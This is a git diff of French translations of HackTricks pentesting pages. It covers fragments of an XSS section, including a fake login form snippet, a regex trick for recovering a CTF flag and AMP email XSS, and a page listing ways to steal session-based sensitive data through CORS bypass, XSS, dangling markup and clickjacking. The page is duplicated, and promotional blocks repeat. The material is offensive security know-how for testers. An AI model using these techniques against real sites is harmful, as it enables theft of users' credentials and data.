-Il est également important de sensibiliser les utilisateurs aux risques liés à la saisie de leurs mots de passe sur des sites web non fiables ou potentiellement compromis.
+Pour les testeurs d'intrusion, il est essentiel de vérifier si un site web est vulnérable à cette attaque en effectuant des tests de sécurité approfondis. Si une vulnérabilité est identifiée, il est recommandé de la signaler aux propriétaires du site web afin qu'ils puissent prendre les mesures nécessaires pour la corriger.
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@ -1672,7 +1692,7 @@ Vous pouvez également utiliser: [https://xsshunter.com/](https://xsshunter.com)
 ```
 ### Regex - Accéder au contenu caché
-À partir de [**cette explication**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible de constater que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée REGEX même après que la valeur de l'entrée de la REGEX ait été supprimée :
+À partir de [**cette explication**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible de constater que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée d'une REGEX même après que la valeur de l'entrée de la REGEX ait été supprimée :
 ```javascript
 // Do regex with flag
 flag="CTF{FLAG}"
@ -1727,7 +1747,7 @@ Si vous ne pouvez pas injecter de balises HTML, il peut être intéressant d'ess
 ### XSS dans Amp4Email
-AMP est une technologie connue pour développer des pages web ultra-rapides sur les clients mobiles. **AMP est un ensemble de balises HTML soutenues par JavaScript** qui permettent facilement une fonctionnalité avec une attention particulière sur les performances et la sécurité. Il existe des [composants AMP](https://amp.dev/documentation/components/?format=websites) pour tout, des carrousels aux éléments de formulaire réactifs, en passant par la récupération de contenu frais à partir de points d'extrémité distants.
+AMP est une technologie connue pour développer des pages web ultra-rapides sur les clients mobiles. **AMP est un ensemble de balises HTML soutenues par JavaScript** qui permettent facilement des fonctionnalités avec une attention particulière sur les performances et la sécurité. Il existe des [composants AMP](https://amp.dev/documentation/components/?format=websites) pour tout, des carrousels aux éléments de formulaire réactifs, en passant par la récupération de contenu frais à partir de points d'extrémité distants.
 Le format [**AMP pour les e-mails**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) fournit [un sous-ensemble de composants AMP](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) que vous pouvez utiliser dans les messages électroniques. Les destinataires des e-mails AMP peuvent voir et interagir avec les composants AMP directement dans l'e-mail.
--- a/stealing-sensitive-information-disclosure-from-a-web.md
+++ b/stealing-sensitive-information-disclosure-from-a-web.md
@ -1,24 +1,33 @@
-Si vous trouvez à un moment donné une **page web qui vous présente des informations sensibles basées sur votre session**: peut-être qu'elle reflète des cookies, ou qu'elle imprime des détails de carte de crédit ou toute autre information sensible, vous pouvez essayer de la voler.\
+# Vol de divulgation d'informations sensibles à partir d'un site web
 Voici les principales méthodes que vous pouvez essayer pour y parvenir:
 * [**Contournement de CORS**](pentesting-web/cors-bypass.md): Si vous pouvez contourner les en-têtes CORS, vous pourrez voler les informations en effectuant une requête Ajax pour une page malveillante.
 * [**XSS**](pentesting-web/xss-cross-site-scripting/): Si vous trouvez une vulnérabilité XSS sur la page, vous pourrez peut-être l'exploiter pour voler les informations.
 * [**Markup suspendu**](pentesting-web/dangling-markup-html-scriptless-injection.md): Si vous ne pouvez pas injecter de balises XSS, vous pourrez peut-être voler les informations en utilisant d'autres balises HTML régulières.
 * [**Clickjaking**](pentesting-web/clickjacking.md): S'il n'y a pas de protection contre cette attaque, vous pourrez peut-être tromper l'utilisateur pour qu'il vous envoie les données sensibles (un exemple [ici](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). 
 <details>
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
+* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
-
+* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
+* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-
+
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+</details>
-
+
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
+Si à un moment donné vous trouvez une **page web qui vous présente des informations sensibles basées sur votre session** : peut-être qu'elle reflète des cookies, ou imprime des détails de carte de crédit ou toute autre information sensible, vous pouvez essayer de les voler.\
 Voici les principales méthodes que vous pouvez essayer pour y parvenir :
 * [**Contournement de CORS**](pentesting-web/cors-bypass.md) : Si vous pouvez contourner les en-têtes CORS, vous pourrez voler les informations en effectuant une requête Ajax pour une page malveillante.
 * [**XSS**](pentesting-web/xss-cross-site-scripting/) : Si vous trouvez une vulnérabilité XSS sur la page, vous pourrez l'exploiter pour voler les informations.
 * [**Balise HTML abandonnée**](pentesting-web/dangling-markup-html-scriptless-injection/) : Si vous ne pouvez pas injecter de balises XSS, vous pourrez toujours voler les informations en utilisant d'autres balises HTML régulières.
 * [**Clickjacking**](pentesting-web/clickjacking.md) : S'il n'y a pas de protection contre cette attaque, vous pourrez tromper l'utilisateur pour qu'il vous envoie les données sensibles (un exemple [ici](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
 <details>
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 </details>